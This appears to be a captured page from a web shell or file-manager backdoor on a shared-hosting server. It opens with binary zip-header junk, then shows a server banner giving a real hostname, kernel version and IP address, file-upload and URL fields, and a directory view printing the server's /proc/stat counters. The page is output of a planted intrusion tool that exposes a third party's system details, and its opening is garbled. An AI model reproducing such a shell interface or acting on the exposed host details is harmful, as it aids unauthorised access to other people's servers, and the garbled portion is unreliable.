PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /proc/
Server: Linux premium47.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
IP: 68.65.123.244
Choose File :

Url:
Dir : //proc/stat

cpu  8902752623 123199064 2125904991 32080649784 145556575 160483037 203942588 2643784 0 0
cpu0 188858299 2717446 47807051 738379282 3262046 3560095 9492820 61467 0 0
cpu1 200829903 2731470 49000535 727753379 3361777 3572668 6795274 60442 0 0
cpu2 203280350 2995200 48937492 725959623 3449785 3575226 5828060 59858 0 0
cpu3 205557977 2698208 49011444 724362448 3419421 3577394 5416681 59989 0 0
cpu4 207832815 2716315 48777298 723597303 3436043 3547410 4173887 59829 0 0
cpu5 207337437 2827504 48888070 723971325 3411936 3542939 4094671 60228 0 0
cpu6 205482412 2910330 49005182 725733577 3413432 3530301 4010489 59742 0 0
cpu7 207450272 2825088 48654957 724321163 3411493 3519381 3927754 59376 0 0
cpu8 203185475 2752164 48910625 727351879 3399959 3525110 4951505 59391 0 0
cpu9 204583880 2811800 48657561 726195885 3367492 3533583 4946585 59186 0 0
cpu10 200985425 3198203 49142879 728957271 3364616 3517276 4933095 59856 0 0
cpu11 186667378 2392370 49026477 743094259 3434716 3638847 5271400 62421 0 0
cpu12 206185838 3071907 48571382 724593337 3310586 3520702 4872640 59558 0 0
cpu13 195115151 2928560 51520778 723290707 3151943 6608511 11481910 64634 0 0
cpu14 196201693 2823066 51029957 724328654 3141476 5284226 11165136 62266 0 0
cpu15 201214081 2742010 48574707 729911560 3307033 3502842 4868902 59269 0 0
cpu16 204739753 2673361 48617815 726270976 3283255 3581642 4973538 59595 0 0
cpu17 202076698 2884731 48462988 728975203 3306593 3535616 4896834 59582 0 0
cpu18 202394640 2716107 48563570 728772529 3336149 3560053 4806056 59050 0 0
cpu19 201297147 2605225 48482143 730087826 3297929 3479610 4900061 59014 0 0
cpu20 204080742 2803596 48006696 728797480 3285079 3461611 3737602 58926 0 0
cpu21 208708375 2672477 47946176 723233929 3303837 4656186 3648744 70662 0 0
cpu22 204729983 2705274 48099754 728165780 3297576 3468358 3734510 59152 0 0
cpu23 204316080 3085455 48015614 728303322 3292621 3458308 3728720 59078 0 0
cpu24 204650658 2645706 47854156 728561145 3318408 3454887 3713417 59374 0 0
cpu25 201512834 2772620 47846854 731608048 3295267 3443520 3720346 58953 0 0
cpu26 201511816 2941112 47855181 731479417 3289905 3437989 3684584 59275 0 0
cpu27 200964395 2855288 47873227 732032617 3314613 3445403 3723495 59400 0 0
cpu28 204067539 2652022 47815076 729294619 3286631 3437682 3673540 59080 0 0
cpu29 201649469 2732898 47842292 731537298 3298550 3441045 3703180 58970 0 0
cpu30 203372972 2860974 47611341 729948116 3269836 3442454 3694710 58967 0 0
cpu31 200472344 3013844 47795831 732515631 3318035 3427037 3678979 58892 0 0
cpu32 202635025 2720365 47612969 730888427 3270899 3432549 3672038 58893 0 0
cpu33 201965018 2616370 47722493 731518610 3269680 3430617 3691550 59117 0 0
cpu34 205242439 2567749 47805786 728269401 3266866 3435913 3647129 59069 0 0
cpu35 201652592 2755286 47688772 731774137 3247479 3426462 3673573 59232 0 0
cpu36 201030256 2866044 47795431 732223494 3257055 3415418 3644832 58869 0 0
cpu37 203676293 3154889 47299381 729790222 3256424 3420336 3639122 58770 0 0
cpu38 202536872 2850213 47352766 731169278 3265237 3417686 3643296 58955 0 0
cpu39 203181244 2533631 47366572 730863052 3262355 3417243 3633837 58862 0 0
cpu40 200871657 2927449 47527780 732618008 3245130 3411027 3640465 58990 0 0
cpu41 203354430 2756599 47878956 729904692 3281685 3424939 3645299 58852 0 0
cpu42 201689002 2814648 47832652 731614668 3278034 3405761 3628340 58663 0 0
cpu43 203603945 2873469 47816305 728630186 3217672 4557153 3533961 70011 0 0
intr 200173002450 204 9 0 0 508 0 0 0 150 0 0 0 15 0 9814220 0 0 0 0 0 0 0 0 0 0 35 0 0 0 2162251926 2111174264 15 3174081769 1320353766 15 344736576 376873451 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 458360580104
btime 1753600519
processes 940636414
procs_running 11
procs_blocked 0
softirq 161580898529 1 990132520 21502 2895622667 4291455349 0 528678777 3475000185 1910746 3369188718